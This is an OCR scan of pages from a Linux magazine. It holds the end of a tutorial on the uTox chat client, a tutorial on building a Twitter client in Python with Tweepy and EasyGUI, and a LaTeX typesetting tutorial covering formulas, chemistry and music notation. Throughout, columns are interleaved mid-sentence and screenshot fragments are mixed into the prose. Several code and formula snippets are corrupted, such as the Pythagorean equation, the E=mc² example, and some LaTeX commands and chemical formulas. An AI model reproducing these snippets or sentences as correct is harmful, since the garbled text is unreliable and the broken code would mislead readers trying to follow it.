all work in roughly the same way, so you should find it This should extract a single file called utox. It should 
easy to switch. At the moment, most clients are in be executable, so you can run it by entering ./utox 
quite active development, so if you find it useful, it’s at the command line. However, this will only work if 
worth keeping an eye out to see what's useful ina you're in the directory in which you decompressed 
few months. the file. To make the program accessible no matter 

To get the software, just click on the link for 32- or what directory you're in, like the rest of the software on 

64-bit to start the download (the same build should your machine, you need to copy it into the appropriate 
work on most distros). uTox is also available for directory — this is usually /ust/bin. To do this, enter 
Windows, so most of this tutorial can be applied to the following in a terminal: 

that OS as well. sudo cp utox /usr/bin/ 

The Tox wiki is also a great place to find out what's Once this is done, you can run the software by 

going on in the Tox world; another useful resource is entering utox (without the ./) at the command line 

the Tox subreddit at www.reddit.com/r/projecttox. from anywhere. 


ben@ben-All-Series: ~/Downloads 


All-Series:~/Downloads$ tar xJvf uto» 


is (Desktop) 
what Toner capable 
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& Creating your profile @ Adding friends 
When you first start U7ox, it will create a new ID for Chat networks are all about the contacts you have. 
you. Tox IDs are long strings of upper case letters and = Tox works ona friend-request basis. That means that 
numbers. They're cryptographically sound, but not if you want to communicate with someone, you first 
very nice to look at. Fortunately, you don’t have touse — have to send them a friend request. To do this, click on 
these IDs for much, and can give yourself a name and he + icon in the bottom-left of uTox, and enter their 
status message. It's this name and status message Tox ID. You can also send them a message to let them 
that your friends will see in their lists rather than the know who you are and why you want to contact them. 
cryptic Tox ID. f they accept your friend request, they'll be added 

Tox IDs are cryptographic keys that you use to o the friend list on the left-hand side. When they're 
communicate with the other people on the Tox online, a little green circle will appear by their name. 
network. There's no central server that stores or You can only chat with people when they're online. 
records information, and this means that the Tox This is also because there's no central server. Without 
network is a little different from some other popular acentral place to store undelivered messages, there's 
chat networks. no way to send anything to people unless they're 

The IDs are saved in the file ~/.config/tox/tox_ online. By the time you read this, it may be possible 
save. Since there's no central server, there's no place to have avatars, so your friends will have different 
to restore this file from, so keep it safe. pictures displayed next to their names. 


G Extra features G Getting mobile 
Sending text between two people may have been It's 2014, and it's no longer acceptable to have a chat 
considered sufficient for online chat software in the platform that's not mobile. Fortunately, Tox is available 
90s, but now users expect a lot more. As Tox is still for Android. You can get an APK file of the Antox client 
considered alpha quality, there is quite abit of change — from the website in step 1 (it's not yet in the Play 
in the features, and you can expect more to be store). This can be installed on any Android device 
released soon. However, even now there are a few with side-loading enabled. 
features ready to use. It's not possible to share a single Tox ID between 

In the top-right corner, you should see three green uTox on your desktop and Antox on your mobile, and 
icons: a paperclip, a telephone and a video camera. it's not clear whether it ever will be. As a general rule, 
Unsurprisingly, these are for attaching files, making you should have a separate Tox ID for each device 
voice calls and making video calls. The odd-looking otherwise you may end up with messages only going 
square in the bottom-right is for sending screenshots. _ to one of the logged-in devices. @ 
Clicking on it will give you a cross-shaped pointer to 


outline the rectangle that you want to send. 02-UK @ | a0 % Fal 16:53 
Audio and video group calls are planned features for 
clase P , Ben Everard Cm 
later releases, but not yet implemented. Toxing on uTox 


How's it going over there? 


eG 


G [Send a message > 


www.linuxvoice.com rai 


LES POUNDER 


WHY DO THIS? 


* Create your own custom 
Twitter application from 


less than 50 lines of 
Python code. 


» Learn more about how 
Twitter can be used in 
your projects. 


+ Delve deeper into the 
Python language. 


At the end of this project 
you will have made a 
functional Twitter client 
that can send and receive 
tweets from your Twitter 
account. 
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aN 


7 
: See 


‘PYTHON: 


a WRITE A TWITTER CLIENT 


Why fill up the internet with pointless 140-character drivel yourself 
when you can write an application to do it for you? 


his issue we're going to create our own Twitter 
i application using Python and two libraries: 
Tweepy, a Twitter Python library, and our old 
favourite EasyGUI, a library of GUI elements. This 
project will cover the creation of the application using 
Python and also the configuration of a Twitter 
application using the Twitter development website 
dev.twitter.com. 
Tweepy is a Python library that enables us to create 
applications that can interact with Twitter. With 
Tweepy we can: 
® Post tweets and direct messages. 
® View our time line. 
® Receive mentions and direct messages. 
® Search for hashtags. 

Now you may be thinking “Why would | want to use 
Python with Twitter?” Well, dear reader, quite simply 
we can use Python to build our own applications that 
can use Twitter in any of the ways listed above. But 
we can also use Twitter and Python to enable 
interaction between the web and the physical world. 
We can create a script that searches for a particular 
hashtag, say #linuxvoice, and when it finds it, an LED 
can flash, a buzzer can buzz or a robot can start 
navigating its way around the room. 

In this tutorial we will learn how to use Tweepy and 
how to create our own application. 


Downloading Tweepy and EasyGUI 

Tweepy The simplest method to install Tweepy on 
your machine is via Pip, a package manager for 
Python. This does not come installed as standard on 
most machines, so a little command line action is 
needed. The instructions below work for all Debian- 
and Ubuntu-based distros. 


Twitter_Create_ 
New_App,png 


Pick something. 


Linux Voice Twitter App 


aii | Read my timeline 


Send tweet 
Tweet with image 
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W Developers APLHealth Blog Discussions Document ation a a- 


More downloads 
for your app 


with Twitter Cards 


Embedded Tweets 


Tweet Button 


Follow Button 


Embedded Timelines 


To create an application you will need to sign in with the 
Twitter account that you would like to use with it. 


First, open a terminal and type sudo apt-get update 
to ensure that our list of packages is up to date. You 
may be asked for your password — once you have 
typed it in, press the Enter key. 

You will now see lots of on-screen activity as your 
software packages are updated. When this is 
complete, the terminal will return control to you, and 
now you should type the following to install Pip. If you 
are asked to confirm any changes or actions, please 
read the instructions carefully and only answer 'Yes' if 
you're happy. 
sudo apt-get install python-pip 

With Pip installed, our attention now shifts to 
installing Tweepy, which is accomplished in the same 
terminal window by issuing the following command. 
sudo pip install tweepy 

Installation will only take a few seconds and, when 
complete, the terminal will return control to you. Now 
is the ideal time to install EasyGU/, also from the Pip 
repositories. 
pip install easygui 


Twitter apps 
Twitter will not allow just any applications to use its 
platform — all applications require a set of keys and 
tokens that grant it access to the Twitter platform. 
The keys are: 
® consumer_key 
® consumer_secret 
And the tokens are: 
® access_token 
® access_token_secret 
To get this information we need to head over to 
https://dev.twitter.com and sign in using the Twitter 
account that we wish to use in our project. It might be 
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prudent to set up a test account rather than spam all 

of your followers. When you have successfully signed 

in, look to the top of the screen and you'll see your 

Twitter avatar; left-click on this and select “My 

Applications”. You will now see a new screen saying 

that you don't have any Twitter apps, so let's create 

our first Twitter app. 

To create our first app, we need to provide four 

pieces of information to Twitter: 

@ The name of our application. 

®A description of the application. 

® A website address, so users can find you. (This can 
be completed using a placeholder address.) 

® Callback_URL. This is where the application should 
take us once we have successfully been 
authenticated on the Twitter platform. This is not 
relevant for this project so you can either leave it 
blank or put in another URL that you own. 

After reading and understanding the terms and 
conditions, click on “! Agree’, then create your first 
app. Right about now Is an ideal time for a cup of tea. 

With refreshment suitably partaken, now is the time 
to tweak the authentication settings. Twitter has auto 
generated our API key and API secret, which are our 
consumer_key and consumer_secret respectively in 
Tweepy. We can leave these as they are. Our focus is 
now on the Access Level settings. Typically, a new app 
will be created with read-only permissions, which 
means that the application can read Twitter data but 
not post any tweets of direct messages. In order for 
the app to post content, it first must be given 
permission. To do this, click on the “modify app 
permissions’ link. A new page will open from which 
the permissions can be tweaked. For this application, 
we need to change the settings to Read and Write. 
Make this change and apply the settings. To leave this 
screen, click on the Application Management title at 
the top-left of the page. 

We now need to create an access token, which 
forms the final part of our authentication process. 
This is located in the API Keys tab. Create a new token 
by clicking Create My Access Token. Your token will 
now be generated but it requires testing, so scroll to 
the top-right of the screen and click “Test OAUTH”. 
This will test your settings and send you to the OAuth 
Settings screen. In here are the keys and tokens that 
we need, so please grab a copy of them for later in 


Using Tweepy with the Raspberry Pi 


Tweepy is a versatile library for building all sorts of internet- 
of-things-projects, and it's right at home on the Raspberry 
Pi. For example, a simple project that could be an extension 
activity from this project, is altering the code so that when 
a tweet is successfully sent a green LED is flashed, but 
when an error occurs a red LED can be flashed to indicate 
the issue. From this simple project to the other end of the 
scale and a more challenging project is a home automation 
system that can respond to a direct message (DM) that 
triggers the heating to come on, or control a web cam 
mounted on a servo. 


Create an application 


Application details 
Name * 


Linux_Voice_Tutorial 


Description * 


Asimple app to demonstrate Tweepy 


Website * 


httpy//bighes 


Callback URL 


http:/ibigl.es 


Where should we 


ating? OAuth 1.0a applications should explicitly specify thelr oauth_callback URL on the request token step, regardless of the value given here. To restrict you 


this tutorial. These keys and tokens are sensitive, so 
don't share them with anyone and do not have them 
available on a publicly facing service. These details 
authenticate that it is YOU using this application, and 
in the wrong hands they could be used to send spam 
or to authenticate you on services that use the OAuth 
system. 

With these details in hand, we are now ready to 
write some Python code. 


Python 

For this tutorial, we'll use the popular Python editor 
Idle. Idle is the simplest editor available and it provides 
all of the functionality that we require. [dle does not 
come installed as standard, but It can be installed 
from your distribution’s repositories. Open a new 
terminal and type in the following. 

For Debian/Ubuntu-based systems 
sudo apt-get install idle-python2.7 

With /dle now installed it will be available via your 
menu, find and select it to continue. 

Idle is broken down into two areas: a shell where 
ideas can be tried out, and where the output from our 
code will appear, and an editor in which we can write 
larger pieces of code (but to run the code we need to 
save and then run the code). /d/e will always start with 
the shell, so to create a new editor window go to File > 
New and a new editor window will appear. To start 
with, let's look at a simple piece of test code, which will 


Creating a new application 
is an easy process, but 
there are a few hoops to 
jump through in order to be 
successful. 


Applications are set to be 
read-only by default, and 
will require configuration 
to enable your application 
to post content to Twitter. 


‘W Application Management 


Linux_Voice_Tutorial 


Details Settings  APIKeys Permissions 


Access 


What type of access does your application need? 
Read more about our Application Permission Model. 
Read only 
Read and Write 
® Read, Write and Access direct messages 


Note: 


Update settings 


Test OAuth 
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Using EasyGUI we can 
post new messages to the 
desktop via the msgbox 
function. 
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Your timeline — + x 


G+: #oggcamp | shall be travelling to Oggcamp from 
Weston-Super-Mare on the Friday afternoon, going home 
on... http://t.co/YGanyFKAkD 


will ensure that our Twitter OAuth authentication is 
working as it should and that the code will print a new 
tweet from your timeline every five seconds. 

import tweepy 

from time import sleep 

import sys 

In this first code snippet we import three libraries. 
The first of these is the tweepy library, which brings 
the Twitter functionality that we require. We import 
the sleep function from the time library so that we 
can control the speed of the tweets being displayed. 
Finally we import the sys library so that we can later 
enable a method to exit the Twitter stream. 
consumer_key = "API KEY” 
consumer_secret = "API SECRET" 
access_token = "=TOKEN" 
access_token_secret = "TOKEN SECRET” 

In this second code snippet we create four variables 
to store our various API keys and tokens. Remember 
to replace the text inside of the “" with the keys and 
tokens that you obtained via Twitter. 
auth = tweepy.OAuthHandler(consumer_key, consumer_secret) 
auth.set_access_token(access_token, access_token_secret) 

For the third code snippet we first create a new 
variable called auth, which stores the output of the 
Tweepy authorisation handler, which is a mechanism 
to connect our code with Twitter and successfully 
authenticate. 
api = tweepy.API(auth) 
public_tweets = api.home_timeline() 

The fourth code snippet creates two more 
variables. We access the Twitter API via Tweepy and 
save the output as the variable api. The second 
variable instructs Tweepy to get the user's home 
timeline information and save it as a variable called 
public_tweets. 
for tweet in public_tweets: 


try: 
print tweet.text 
sleep(5) 
except: 
print("Exiting") 
sys.exit() 


The final code snippet uses a for loop to iterate over 
the tweets that have been gathered from your Twitter 
home timeline. Next up is a new construction: try and 
except. It works in a similar fashion to if and else, but 
the try and except construction is there to follow the 
Python methodology that it's “Easier to ask for 
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forgiveness than for permission”, where try and 
except relates to forgiveness and if else refers to 
permission. Using the try and except method is seen 
as a more elegant solution — you can find out why at 
https://docs.python.org/2/glossary.html#term-eafp. 
In this case we use try to print each tweet from the 
home timeline and then wait for five seconds before 
repeating the process. For the except part of the 
construction we have two lines of code: a print 
function that prints the word “Exiting”, followed by the 
sys.exit() function, which cleanly closes the 
application down. 
With the code complete for this section, save it, 
then press F5 to run the code in the /d/e shell. 


Sending a tweet 

Now that we can receive tweets, the next logical step 
is to send a tweet from our code. This is surprisingly 
easy to do, and we can even recycle the code from the 
previous step, all the way up to and including: 

api = tweepy.API(auth) 

And the code to send a tweet can be easily added 
as the last line: 
api.update_status("Tinkering with tweepy, the Twitter API for 
Python.’) 

Change the text in the bracket to whatever you like, 
but remember to stay under 140 characters. When 
you're ready, press F5 to save and run your code. 
There will be no output in the shell, so head over to 
your Twitter profile via your browser/Twitter client and 
you should see your tweet. 

We covered EasyGUI in LVO006, but to quickly recap, 
it's a great library that enables anyone to add a user 
interface to their Python project. It's easier to use than 
Tkinter, another user interface framework, and ideal 
for children to quickly pick up and use. 

For this project we will use the EasyGUI library to 
create a user interface to capture our status message. 
We will then add functionality to send a picture saved 
on our computer. 


Adding a user interface 
Open the file named send_tweet.py and let's review 
the contents. 
import tweepy 
from time import sleep 
import sys 
import easygui as eg 
This code snippet only has one change, and that is 
the last line where we import the EasyGU/ library and 


Send a tweet — + x 


What message would you like to send? 


EasyGUI looks great and is an easy drop-in-replacement 
for the humble print function. 
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rename it to eg. This is a shorthand method to make 
using the library a little easier. 

consumer_key = "Your Key” 

consumer_secret = "Your secret” 

access_token = "Your token" 

access_token_secret = "Your token" 

auth = tweepy.OAuthHandler(consumer_key, consumer_secret) 
auth.set_access_token(access_token, access_token_secret) 
api = tweepy.API(auth) 

These variables are exactly the same as those 
previously. 
message = eg.enterbox(title="Send a tweet”, msg="What 
message would you like to send?”) 

This new variable, called message, stores the 
output of the EasyGUI enterbox, an interface that asks 
the user a question and captures their response. The 
enterbox has a title visible at the top of the box, and 
the message, shortened to msg, is a question asked 
to the user. 
try: 

length = len(message) 
if length < 140: 
api.update_status(message) 
else: 
eg.msgbox(msg="Your tweet is too long. 
It is "+str(length)+" characters long’) 
except: 
sys.exit() 

For this final code snippet we're reusing the try 
except construction. Twitter has a maximum tweet 
length of 140 characters. Anything over this limit is 
truncated, so we need to check that the length is 
correct using the Python len function. The len 
function will check the length of the variable and save 
the value as the variable length. 
With the length now known, our code now checks 
to see if the length is less than 140 characters, and if 
this is true it runs the function update_status with the 
contents of our message variable. To see the output, 
head back to Twitter and you should see your tweet. 
Congratulations! You have sent a tweet using Python. 
Now let's put the icing on the cake and add an image. 


Adding an image to our code 
The line to add an image to our tweet is as follows 
image = eg.fileopenbox(title="Pick an image to attach to your 
tweet”) 

We create a variable called image, which we use to 
store the output from the EasyGU! fileopenbox 
function. This function opens a dialog box similar to a 
File > Open dialog box. You can navigate your files and 


Where can | find the completed code? 


All of the code for this project can be downloaded from 
Les’ GitHub repository https://github.com/lesp/LinuxVoice_ 
Twitter_Tweepy. 

If you are not a GitHub user, you can still download the 
code as a Zip file from https://github.com/lesp/LinuxVoice_ 
Twitter_Tweepy/archive/master.zip. 


csv test.py menu.py timeline.py 
python LV Send Tweet.py 
File "LV Send Tweet.py", Line 17 
if length < 140: 


IndentationError:_unindent does not match anv outer indentation level 
Pick an image to attach to your tweet x 


Directory: /home/les/Python/LV_Education Section =| ee | 


|] class_3b.csv (=) Twiiter-python.py 
[=] csv_test.py 

[=] LV_Send_Tweet.py 

[=] menu.py 

[=] send_tweet.py 

[=] timeline.py 


EI 


File name: | 


Files of type: All files (*.*) 


select the image that you wish to attach. Once an Sending an image is made 
image is chosen, its absolute location on your easier via a GUI interface 
computer is saved as the variable image. The best that enables you to select 


the file that you wish to 
send. Once selected, it 
saves the absolute path to 
the file. 


place to keep this line of code is just above the line 
where the status message is created and saved as a 
variable called message. With the image selection 
handled, now we need to modify an existing line so 
that we can attach the image to the update. 

Navigate to this line in your code: 
api.update_status(message) 

And change it to this: 
api.update_with_media(image, status=message) 

Previously we just sent text, so using the update_ 
status function and the message contents was all 
that we needed, but to send an image we need to use 
the update_with_media function and supply two 
arguments: the image location, stored in a variable for 
neatness; and the status update, saved as a variable 
called message. 

With these changes 
made, save the code 


sandrunitby pressing NOW that we can receive 
Fs.Youshouldbe tweets, the next logical step is 
ore ne imeees'° tq send a tweet from our code.” 


attach to your code, 
and once that has been 
selected you will be asked for the status update 
message. With both of these supplied, the project will 
post your update to Twitter, so head over and check 
that it has worked. 


| 


Extension activity 

Following these steps, we're managed to make two 
scripts that can read our timeline and print the output 
to the shell, but we can also merge the two together 
using an EasyGU/ menu and a few functions. The code 
for this activity is available via the GitHub repository, 
so feel free to examine the code and make the 
application your own. & 


Les Pounder is a maker and hacker specialising in the 


Raspberry Pi and Arduino. Les travels the UK training 
teachers in the new computing curriculum and Raspberry Pi. 
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VALENTINE SINITSYN 


WHY DO THIS? 
+ Save time formatting 


“Latex does a brilliant job for 
complex structured texts that 
need a professional look.” 


Texmaker is one of many 
dedicated Latex editors. 


BEBH 


BIGISHESaaR)\ 0 


your texts. 


+ Enter formulas quickly 
and intuitively. 


+ Make your documents 
look like CS classic. 
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\besin{ equation} » 
\sin\ left (2\alpha\right|=2\sin\ left (\fraci\alpha? (2) \right) \eos\ lett 


COMPOSE BEAUTIFUL 


ua TEXT WITH LATEX 


Or: how one perfectionist PhD student was able to compose his 
thesis in a month and was completely happy with how it looked. 


onald Knuth, the author of The Art of Computer 
D Programming, is one of the biggest names in 

computer science. When he received proofs 
of the second edition of this book in early 1977, he 
found them awful — so awful he decided to write his 
own typesetting system. So Tex was born. By 1984, 
Leslie Lamport extended Tex with a set of macros 
known today as Latex. Tex provides layout features; 
Latex, (which translates to Tex) operates on higher- 
level objects. 
Linux already comes with plenty of modern options 
for processing text documents, so why waste time 
with a solution that's three decades old? There 
are plenty of reasons, but in short: Latex does a 
brilliant job for complex structured texts that need 
a professional look. You can use it for anything: my 
mom typesetted our family cookbook entirely in Latex 
back in the nineties, but nowadays there is probably 
not much reason to do so. However, if you are 
preparing a science report, a course project or even a 
thesis, Latex can save you a good amount of time. It 
lets you focus on the contents, and takes care of all 
the visualisation and “book keeping”. It chooses the 
right fonts, indentations 
and spacings, does 
enumerations, tracks 
cross-references, 
generates tables of 
contents and indices. Sure, 
a word processor can doa 
lot of this too, but Latex takes it to the whole new level. 
Converting an article to a book with Latex is simply a 
matter of switching to another document class. Many 
science magazines provide their own Latex classes, 
and may charge you for papers not submitted in 


\frac(lalpha) (2) \right) 


UTR. Nermal Made 
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Hello, brave new ETRX world! 


No tutorial can go without a “Hello, World!” example. 


Tex. For documents with predefined formatting (like 
official reports) you are likely to find Latex templates 
where you just need to write original content and have 
everything else formatted properly automatically. And 
as Latex can produce PDFs or PostScript files, you 
never have to worry that the document will look or 
print differently elsewhere. 

Finally, Latex is not just about texts. You can 
use it to make beautiful (albeit non-interactive) 
presentations. Wikipedia also uses Latex to render 
formulas in the articles. 


Let's start typing 
In anutshell, Latex is somewhat akin to HTML (albeit 
older). Documents are composed in plain text files 
(conventionally carrying a .tex suffix) that contain 
special “tags” recognised by the latex commana. It 
compiles the document and produces a DVI (DeVice 
Independent) file that can be viewed directly or 
converted to PDF or PostScript. It is also possible to 
produce PDFs directly with pdfTex. 

As Latex documents are plain text, you can write 
them in your editor of choice: basic Latex support 
like syntax highlighting is usually offered. There 
are, however, specialised Latex editors with more 
advanced features like smart autocompletion, output 
preview or navigation. Of those, my personal favourite 
is Texmaker (www.xm1 math.net/texmaker). It's cross- 
platform, free and built with Qt. 

Tex itself comes in various distributions (not to 
be confused with the Linux distributions it runs on). 
They contain all the tools, common packages and 
document classes (which we'll discuss shortly). For 
Linux, the most popular Tex distribution is probably 
Tex Live (www.tug.org/texlive); see the boxout for 
installation tips. If you still have Windows machines 
around, try MikTex (www.miktex.org). Both are free 
software, although commercial Tex distributions exist 
as well. 

If you need more, you can always use CTAN: the 
Comprehensive Tex Archive Network (www.ctan.org). 
I's acentral repository for almost any Latex package, 


What's in the name? 


The letter “X” in “Latex” (and “Tex”) is a Greek letter “chi”, 
pronounced as /k/. So the name has nothing to do with 
rubber. Letters in “LaTeX” are also traditionally aligned in 
a slightly unusual way (see the image ). To do this in your 
documents, use the \LaTeX{} command. 


class etc, and if you can't find something there, 
chances are it doesn't exists at all. 

| guess you are a bit bored with reading words by 
now: let’s write some of them. Open a text editor and 
compose a simple Latex document: 
\documentclass[a4paper,12pt]{article} 
\usepackage[utf8]{inputenc} 

% Hyphenation patterns 
\usepackage[english]{babel} 
\author{Valentine Sinitsyn} 
\title{The obligatory greeting} 
\begin{document} 

Hello, brave new \LaTeX{} world! 
\end{document} 

Despite being short, this example already 
introduces some important aspects. Tex commands 
begin with a slash, and accept parameters either in 
square or in curly brackets. As you probably guessed, 
square brackets are used for optional arguments. 
Comments start with a percentage sign; if you need a 
literal % symbol, use a \% command. 

Latex documents start with a preamble that 
sets the document class and imports the required 
Latex packages with the \usepackage{} command. 
Here, the class is article with 12pt font size on A4 
paper. Other standard classes include book, report 
and letter. Document class greatly influences the 
document appearance. For example, 
\documentclass{book} will make the document 
double-sided, start chapters on odd pages, and add 
some automatic headers and footers. 

\begin{document} and \end{document} 
commands create an “environment”, where the body 
of your document goes. Here, it's trivial (for the 
\LaTeX{} command, see the sidebar). 

Now, save the file under the name hello.tex and 
compile with: 
latex hello.tex 

If you typed everything correctly, you'll get a 
hello.dvi file that you can view with Evince (Gnome/ 
Unity), Okular (KDE) or xdvi (comes with Tex Live). To 
convert DVI to PDF or PostScript, use the dvipdf or 
dvips commands, respectively. If you use a dedicated 
TeX editor like Texmaker, these steps will be performed 
automatically when you build the document. 


Some more words 

This was of course a very basic example. To let Latex 
show its powers, something more sophisticated is 
needed, like this (this goes into the ‘document’ 
environment from the example above): 

\maketitle 
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The relationship between mass and cnergy, E = mc’, is widely known 
and even appears in commercials. 

The Pythagorean theorem states that for a, b, and c being sides of a right 
triangle: 


e=P+e (1) 


Some unnumbered equations: 


a we 
Lage 
sin?(@) + cos?(@) = 1 
sin (2a) = 2sin (5) COs (5) 


= | 


(@,9) =e |glcosa 


Latex formulas can be 
embedded in paragraph 
text or come on their own. 


\section{First section}\label{sec} 

This is the first paragraph of Sect.~\ref{sec}, which is on p.~\ 
pageref{sec} in our document. For more information, see \ 
ref{subsec}. 

\subsection{Subsection}\label{subsec} 

This is a subsection that ought to contain more information, but 
really it has none. 

The \maketitle command just renders a title set 
previously in the preamble. Paragraphs are separated 
with a blank line. The \subsection command creates a 
subsection header, and again, Latex chooses the exact 
font size, typeface etc automatically (as per document 
class). The tilde character inserts a non-breaking 
space, so references will always stay on the same line 
with Sect. and p. (it's a recommended practice). 

What's new here is the \label{} command. You 
can think of it as a way to give a place in the text a 
meaningful name (stubs like see shouldn't appear 
in real world documents). Later, you can include a 
reference to the label with either the \ref{} or 
\pageref{} commands. The first one references a 
section (or equation, or figure, or something else) 
by number, like ‘1’ or ‘1.1’. A neat thing is that Latex 
does the enumeration automatically, so if you put 
another subsubsection before the subsec label, the 
cross-references will stay correct (although the latex 
command might ask you to run itself twice to update 
references, otherwise they will appear in the text as 
??). \pageref puts a reference to the page where the 


Latex vs your favourite text suite 


Latex is a great tool, but as with everything references. 
it has its pros and cons. They are quite @ Texts that must adhere to strict formatting 
subjective and depend on how skilled a Latex rules. 


user you are — | know several people using 
Latex for all their documents with no trouble. 
Nevertheless, here is a quick side-by-side 
comparison: 

Consider Latex for: 

B Scientific texts, like papers or thesis. 

@ Texts with many formulas and cross- 


Better try something else for: 

@& Small texts with simple formatting (use 
Writer). 

@ Texts with artistic irregular structure, like 
in LV (Scribus). 

@ Interactive presentations or spreadsheets 
(Impress/Calc). 
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To neutralize an acid, add some alkali to get salt and water: 
2 KOH + H,SO, —> K,SO, | +H,O 
Benzene (CgHg¢) looks like this: 

H 


H | H 
ee ae 


| | 
C C 


If you are a chemist, Latex is here to help you make benzene look even cooler. Benzene’s 
structure was discovered after Friedrich Kekulé had a crazy dream in front of the fire. 


label resides, and again Latex does all the bookkeeping 
for you. 


Do simple math 

Formulas in Latex come in two flavours: text and 
displayed. The former are rendered inline; the latter are 
printed separately from the main text: 

The relationship between mass and energy, $E=mc’2S, is widely 
known and even appears in commercials. 


The Pythagorean theorem states that for $a$, $b$, and $c$ 
being sides of a right triangle: 


\begin{equation} 
a2 = b42 +.0°2 
\end{equation} 

Latex enumerates displayed formulas automatically 
(see the image on page 87). If you don't need this, use 
the equation* environment (defined in the amsmath 
package) instead of equation. 

If you ever created formulas in OpenOffice.org/ 
LibreOffice Math, Latex will feel a bit familiar to you. A 
circumflex (4) denotes a superscript, and underscore 


Where do | get Tex? 


The easiest way to obtain software (Tex 
included) in Linux is to use packages from 
your distribution repositories. These usually 
contain everything you need to build a basic 
Tex system and many popular extensions 
from CTAN, only a mouse click away. 
Depending on which Linux flavour you use, 
they can be cutting-edge or quite outdated. 
In Ubuntu, these packages names start with 
texlive-. The texlive-base command installs 
a bare minimum, while texlive provides a 
decent selection of the Tex Live packages. 
If your distribution packages miss 
something crucial for you, install latest Tex 


Live by yourself and use tlmgr utility to get 
any package you need from CTAN. You'll 
miss automated updates from your Linux 
vendor, so be prepared. If you only need 
a single specific package from CTAN, you 
can also install it in the prepackaged Tex 
Live manually, following instructions in the 
package manual. However, this is the last 
resort, so better stick to the completely 
prebuilt (simpler) or ‘vanilla’ variant. 

If you get stuck, remember that 
StackOverflow.com has a complete 
sister site dedicated to Tex: http://tex. 
stackexchange.com. 
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is used for subscripts. If they span more than one 
character, use curly brackets (this is the rule for 
many other formatting commands in Latex as well): 
Sa*xa*y=a'{xty}$. Fractions are created with 
\frac{nominator}{denominator}. They don't usually 
look good in word processor documents, but Latex 
does a great job of aligning them properly. 

Of course, you're free to write more complex math, 
like series summation or integrals: 
\sum\limits_{n=1}'{\infty}{\frac{1}{n*2}}=\frac{\pi*2}{6} 

This example combines all of the concepts we've 
already discussed, and introduces some new ones. 
First, there's the \limits command to put summation 
limits at conventional positions (above and below the 
summation sign, not in the upper-right and lower-right 
corners, as _ and“ do alone). Then, it has the 
\infty command to render the infinity symbol, and 
finally \pi for a Greek letter ‘pi’. If you need a capital ‘p/’, 
use the \Pi command, and \Delta produces the well 
known triangle-like letter. Yes, it's that simple. 

Latex renders most mathematical functions you 
know about (and maybe some you aren't even aware 
of). The respective commands are named after the 
functions, and you only need to prepend a slash, like 
his: 

\sin*2(\phi)+\cos*2(\phi)=1 

Plain parentheses don't adjust their sizes to match 
arguments. To produce scaling parentheses, use the 
\left( and \right) commands like so: 
\sin\left(\alpha\right)=2\sin\left(\frac{\alpha}{2}\right)\cos\ 
left(\frac{\alpha}{2}\right) 

\left and \right also work for brackets and curly 
braces. Latex is smart enough to match \lefts to 
\rights, and will issue a compilation error if you 
missed anything: 

LaTeX2e <2011/06/27> 
Babel <3.9h> and hyphenation patterns for 2 languages loaded. 


! Missing \right. inserted. 
<inserted text> 

\right . 
nally, Latex can easily add all sorts of decoration 
you may need for your math texts, like arrows 
(for vectors) or hats (for matrices and operators). 
Consider the following: 
\left(\vec x,\vec y\right)=\left|\vec x\right|\left|\vec y\right|\ 
cos\alpha 
Note that for single-letter arguments, like x and y 
above, you can omit curly brackets. Also keep in mind 
that accents don't scale (try \vee{x+y}), as it wouldn't 
make much sense (mathematically). 


zl 


And even fine arts 
At this point you may start thinking that Latex is cool 
but of a little use to you, as you don't write math. While 
this might be true, Latex has something to offer for 
those form other branches of science as well. 

Let's take chemistry. I'm not very good in it, but | 
was able to recall that alkalis neutralise (otherwise 
quite dangerous) acids. For sulphuric acid, 


This tutorial showed how to use Latex on its own. However, 
Latex also empowers several well-known software suits. 

First, there is Lyx (www.lyx.org) — a visual graphical 
WYSIWYM (What You See Is What You Mean) document 
processor that matches Writer's intuitiveness to Latex's 
abilities. Lyx is not Latex, but is a good alternative with a 
flat learning curve. 

LilyPond (www.lilypond.org) is non-visual, more Latex- 
like system for music engraving. If the abe package seems 
limited, you should probably give LilyPond a try. For easier 
editing, look at Frescobaldi (www.frescobaldi.org). 


neutralisation can be represented by the reaction on 
show above-left. 

To reproduce the equation from that figure, try this: 
\documentclass{article} 

\usepackage|version=3]{mhchem} 
\begin{document} 

\ce{2KOH + H2S04 -> K2S04 v + H_20} 
\end{document} 

The key is the mhchem package (from texlive- 
science) that | included on the second line. Chemical 
species and equations are passed as \ce{} command 
arguments. Indices are subscripted (or superscripted) 
automatically, and you can put whatever sorts of 
arrows you need. 

Another thing you often see in chemical texts is 
structural formulae. You can draw them in specialised 
software, but with Latex, it is easy to include such 
diagrams directly in text, like this: 
\documentclass{article} 
\usepackage{chemfig} 
\begin{document} 
\chemfig{C*6(-C(-[6]H)=C(-[7]H)-C(-[1]H)=C(-[2]H)-C(-[3]H)=) 
(-I5]H)} 

\end{document} 

This time, | used the chemfig Latex package (which 
comes in texlive-pictures) to render a benzene 
molecule (\ce{C6H6}). The C*6 part means we are 
drawing a hexagon (six sides), and C is its first vertex. 
The first pair of parentheses contain the hexagon’'s 
sides (hyphens mean single bond and equals symbols 
mean double bonds) and remaining vertices (carbon 
atoms marked as C). The inner parentheses (and 
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You can include notes into your TeX documents as well: 


London Bridge Is Falling Down 


\ 


iN 


@ 


4 | 1 — a 
Qtheres == == io o 


Barely understandable for those like me, but it looks good nevertheless. 


music) can be used to enrich your texts with some 
tunes: 

\documentclass{article} 

\usepackage{abc} 

\begin{document} 

You can include notes into your \LaTeX{} documents as well: 
% ABC notation is used here, see http://en.wikipedia.org/wiki/ 
ABC_notation 

\begin{abc} 

X:1 

T:London Bridge Is Falling Down 

M:2/4 

L:1/8 

K:D 

A>B AG|FGA2|EFG2|FGA2| 

A>B AG|FGA2|E2A2|FDD2| 

\end{abc} 

\end{document} 

For this to compile, you'll need to install the 
abcem2ps tool with your package manager. Then, pass 
the --shell-escape option to the latex or pdflatex 
command: 
pdflatex --shell-escape london_bridge.tex 

As with chemfig, the notes aren't directly viewable 
in DVI. 


Follow your route 

Here we come to an end of our brief excursion into the 
Latex world. | hope you agree now that Latex isn't a 
scary beast from the pre-PC era, and can save you 
time and effort even 30 years after its initial 


the last ones) are for branches (hydrogen atoms). 


Numbers in brackets set a branc 


h direction (in 45 


degree units, counter-clockwise 
displays the diagram wrong, an 


. Note that DVI 
d to preview the 


results, you'll need to convert th 
or PDF first, or use the pdflatex 


e output to PostScript 
command to 


introduction. And you've probab! 
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produces a PDF directly: 
pdflatex benzene.tex 
evince benzene.pdf 

If you are not into sciences, but into arts, Latex can 
also prove itself useful. For example, you can use it to 
print music sheets. There is a specialised Tex-based 
software called LilyPond built just for these purposes 
